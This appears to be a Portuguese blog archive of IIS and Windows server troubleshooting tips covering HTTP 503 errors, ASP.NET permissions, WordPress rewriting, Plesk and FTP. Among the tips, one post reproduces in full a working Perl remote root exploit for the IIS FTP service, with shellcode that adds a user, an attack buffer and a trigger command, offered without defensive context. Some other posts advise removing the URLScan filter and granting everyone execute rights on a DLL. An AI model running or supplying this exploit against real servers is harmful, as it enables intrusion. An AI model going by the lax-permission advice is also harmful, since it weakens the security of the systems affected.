Service Unavailable HTTP Error 503 – Coisas que só o IIS pode “proporcionar” a você

Standard

Das coisas que mais me irritam a mais especial é a falta de logs precisos por parte do sistema operacional. Em se tratando de Microsoft aí é que a coisa pega e pega FEIO!

Um dos erros que me fizeram gastar aproximadamente 8 horas de troubleshooting foi o erro Service Unavailable HTTP Error 503. Das coisas que mais se alegam são:

– Chaves pré-definidas junto aos serviços do IIS:
http://blogs.iis.net/webtopics/archive/2010/02/17/a-not-so-common-root-cause-for-503-service-unavailable.aspx
e
http://blogs.msdn.com/b/drnick/archive/2006/10/16/configuring-http-for-windows-vista.aspx

– Contas sem autoridade junto ao IIS:
http://social.msdn.microsoft.com/Forums/en/mdmsetup/thread/4689da4a-0452-45b6-bbb4-21ccb76d8ff9

– IIS operando com recursos de 32 bits em plataformas 64 bits:
http://forums.asp.net/p/1502755/3560390.aspx

– IIS com “loucuras” que só Deus para não duvidar:
http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/55f71614-ef1b-4015-b9c8-a42c1e700c25.mspx?mfr=true

– Falaram que pode ser algum sysadmin modificando algo, por isso o downtime:
http://www.checkupdown.com/status/E503_pt.html
http://technet.microsoft.com/pt-br/library/cc736325%28WS.10%29.aspx

Caso você tenha “passado” pelos pontos acima e nenhum deles “sanou” seu problema, e além disso, você tem CERTEZA de que sua appweb está 100% depurada, debug 100% ok, tudo filé, e ainda tem CERTEZA que nenhum admin andou fazendo besteira em seu servidor, a saída pode ser alcançada da seguinte forma:

1 – Observe se existe alguma tabela corrompida em suas consultas SQL na appweb (caso consiga – detalhe, foi meu caso com BDs do tipo Mysql).
2 – Permissões em arquivos remotos ou tempo de resposta a tais chamadas.

Perceba que não é erro em nada de configuração, servidor e etc (evite loucuras como as minhas de tuning, pensando que era um erro de alto processamento, i/o e etc).

Normalmente os logs ineficientes (ex: 503 “n/a” nome do POOL_com_paranente_problema) do IIS falam que o pool de aplicativos “XXX” (nome que você deu ao pool) para rodar aplicativos DOTNET expirou/expulso/estuprou/estrangulou e etc a requisição (quer seja por POST ou GET). (na pasta logfiles dentro de windows – aonde o iis guarda seus logs)
O mais top dos erros:

1. “Connection_Dropped DefaultAppPool”
2. “Connection_Abandoned_By_AppPool DefaultAppPool”

Mesmo que você venha utilizar-se do software de debug que a MS tem, sinto muito em lhe avisar, mas será em vão utilizar-se tal ferramenta!
Siga os meus conselhos nas linhas em negrito, aquilo ali pode salvar seu dia. Use um frontend para executar suas querys e ver se não estão ali as saídas.

Ferramenta: http://support.microsoft.com/kb/919792/

Como remover URLSCan do IIS

Standard

Para remover o URLScan do IIS siga os passos abaixo no windows em inglês:

Start—> Programs—> Administrative Tools —> Services

Pare o IDC.

Agora vamos gerenciar o iis:

Start—> Programs Administrative Tools—> Internet Services
Manager

Dê um duplo clique no servidor e em seguida clique com o botão direito sobre Default Web Site. Clique nas propriedades (Properties).
Procure uma aba chamada ISAPI Filters, selecione UrlScan filter e clique em REMOVE.

Clique em Ok e depois reinicie todos os serviços referentes ao IIS.

Abraços.

Como fazer SEO completo URL-Rewrite no IIS com WordPress?

Standard


Prezados, sou conhecido na comunidade opensource por causa de meus how tos, procuro não omitir informações a ninguém e mais uma vez lá vai uma dica quente:

Se você está sofrendo com o que eu sofri, deixar o worpress sair do basicão do seo no iis, estilo:

site.com.br/index.php/meu-post

Basta seguir os passos abaixo:

1 – baixe o arquivo dll:

http://wp-url-rewriting-on-iis.googlecode.com/files/wp-url-rewriting-2.1-win32.zip
Ou para 64 bt:
http://wp-url-rewriting-on-iis.googlecode.com/files/wp-url-rewriting-2.1-X64.zip
Extraia o arquivo para c:\windows\system32\

2 – Crie um filtro ISAPI dentro do IIS no domínio desejado com o nome:
url-rewrite.
No botão browse procure pelo arquivo wp-url-rewriting.dll dentro da pasta c:\windows\system32\ e selecione-o.

Pronto.

Feito isto o site deverá apresentar o SEO (permalinks) do WordPress de maneira satisfatória.

Abraços.

You must specify a FilePath to the XML file you want to load!

Standard

Se você está recebendo mensagens de erro neste estilo aqui ó:

You must specify a FilePath to the XML file you want to load!

This message error:

[Exception: You must specify a FilePath to the XML file you want to load!]
nDeveloper.Util.Config.ConfigEditor.AllParameters() +136
nDeveloper.Util.Config.ConfigEditor.LoadConfigFile() +16
nDeveloper.Util.Config.ConfigEditor..ctor(String FilePath) +133
nDeveloper.BO.Base.Config.ConfigFile.GetValue(String Key) +40
nDeveloper.BO.Base.Domain.DataBaseConfig.GetServerType() +42
nDeveloper.BO.Base.Domain.DataBaseConfig.GetConnectionString() +61
Vsoft.iPortal.BO.DataAccess.BaseDb..ctor() +38
Vsoft.iPortal.BO.DataAccess._NoticiaDA..ctor() +24
Vsoft.iPortal.BO.DataAccess.NoticiaDA..ctor() +24
Vsoft.iPortal.BO.BusinessLogic.Noticia.ListaNoticias(Nullable`1 SecaoID, Int32 Quantidade, Nullable`1 CaracterizacaoID) +48
Start_Default.CarregaDestaques() +173
Start_Default.Page_Load(Object sender, EventArgs e) +30
System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +15
System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +33
System.Web.UI.Control.OnLoad(EventArgs e) +99
System.Web.UI.Control.LoadRecursive() +47
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyn

Nada de dor de cabeça, há uma probabilidade enorme do seu sistema não estar deixando o IIS e o ASPNET acessarem a pasta que contém o arquivo XML.

E digo mais, é comum também de tabela receber este erro aqui:

Detalhes da Exceção: System.UnauthorizedAccessException: Acesso ao caminho “C:\Inetpub\wwwroot\caminho\dados\arquivo_problema.xml” foi negado.

Nas propriedades da pasta dados, altere as permissões da conte \ASPNET ou IUSR_MACHINENAME. A mensagem de erro fornece uma breve descrição sobre os dois casos :

“O ASP.NET não está autorizado a acessar o recurso solicitado. Recomenda-se conceder à identidade de solicitação do ASP.NET direitos de acesso ao recurso. O ASP.NET tem uma identidade de processo-base (geralmente {MACHINE}\ASPNET no IIS 5 ou Serviço de Rede no IIS 6) que é usada se o aplicativo não estiver sendo representado. Se o aplicativo estiver sendo representado através de , a identidade será o usuário anônimo (geralmente IUSR_MACHINENAME) ou o usuário de solicitação autenticado. “

Exploit para o IIS 6 (FTPD) – BOF

Standard

# IIS 5.0 FTPd / Remote r00t exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2googlemail.com
# Affects IIS6 with stack cookie protection
# August 2009 - KEEP THIS 0DAY PRIV8
use IO::Socket;
$|=1;
#metasploit shellcode, adduser "winown:nwoniw"
$sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30" .
"\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55" .
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" .
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" .
"\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" .
"\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d" .
"\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44" .
"\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31" .
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" .
"\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f" .
"\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43" .
"\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44" .
"\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57" .
"\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45" .
"\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e" .
"\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32" .
"\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e" .
"\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47" .
"\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46" .
"\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c" .
"\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f" .
"\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39" .
"\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34" .
"\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e" .
"\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54" .
"\x51\x54\x43\x30\x41\x41";
#1ca
print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";
if ($#ARGV ne 1) {
print "usage: iiz5.pl \n";
exit(0);
}
srand(time());
$port = int(rand(31337-1022)) + 1025;
$locip = $ARGV[1];
$locip =~ s/\./,/gi;
if (fork()) {
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '21',
Proto => 'tcp');
$patch = "\x7E\xF1\xFA\x7F";
#$retaddr = "ZZZZ";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms
$v = "KSEXY" . $sc . "V" x (500-length($sc)-5);
# top address of stack frame where shellcode resides, is hardcoded inside this block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53"
."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";
# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch.
($patch x (52/4)) .$patch."EEEE$retaddr".$patch.
"HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = <$sock>;
print $x;
print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";
$x = <$sock>;
print $x;
while (1) {}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);
die "Could not create socket: $!\n" unless $servsock;
my $new_sock = $servsock->accept();
while(<$new_sock>) {
print $_;
}
close($servsock);
}
#Cheerio,
#
#Kingcope

The call to Server.CreateObject failed while checking permissions. Access is denied to this object. COMO RESOLVER HOW TO SOLVE IT

Standard

Ultra simples, normalmente isso foi um componente que você instalou e simplesmente está sem permissão de execução.
Para consertar basta ir na dll do aplicativo, em exemplo mostro um caso de aspjpeg:

1 – entre no diretório c:\program files\persists\aspjpeg\bin

2 – Dentro desta pasta dê permissão para everywere ler e executar a dll.

Pronto, fazendo isto tudo estará resolvido 😉

Obs: Não deixe de usar o MONO caso use o Gnu/Linux Centos em aplicações dotnet, além de MUITO amadurecido, o mono está muito sofisticado como um todo.

Abraços.

plesk The requested resource is in use resolvendo mensagem de erro no plesk The requested resource

Standard

No plesk Windows, caso você esteja recebendo a mensagem:

The requested resource is in use.

Nada de pânico, entre no remote desktop e rode:

regsvr32 %windir%/system32/vbscript.dll

Pronto!

Fonte: http://littleoak.wordpress.com/2009/07/31/plesk-the-requested-resource-is-in-use-resolvendo-mensagem-de-erro-no-plesk-the-requested-resource/

A dynamic link library (DLL) initialization routine failed FTP

Standard

Se você recebeu esta mensagem quando estava tentando reiniciar seu FTP (iis) -> A dynamic link library (DLL) initialization routine failed FTP – siga a dica abaixo:

entre no servidor, abra o MS-DOS (iniciar-> executar -> cmd) e digite:

cd c:\inetpub\adminscripts\

Entrando ali ajuste as portas passivas para uso do FTP (lembrar que tais portas só operam acima de 5500, por isso do erro):

adsutil.vbs get msftpsvc/Passiveportrange “5500-5800”

Após reinicie seu iis e seja feliz!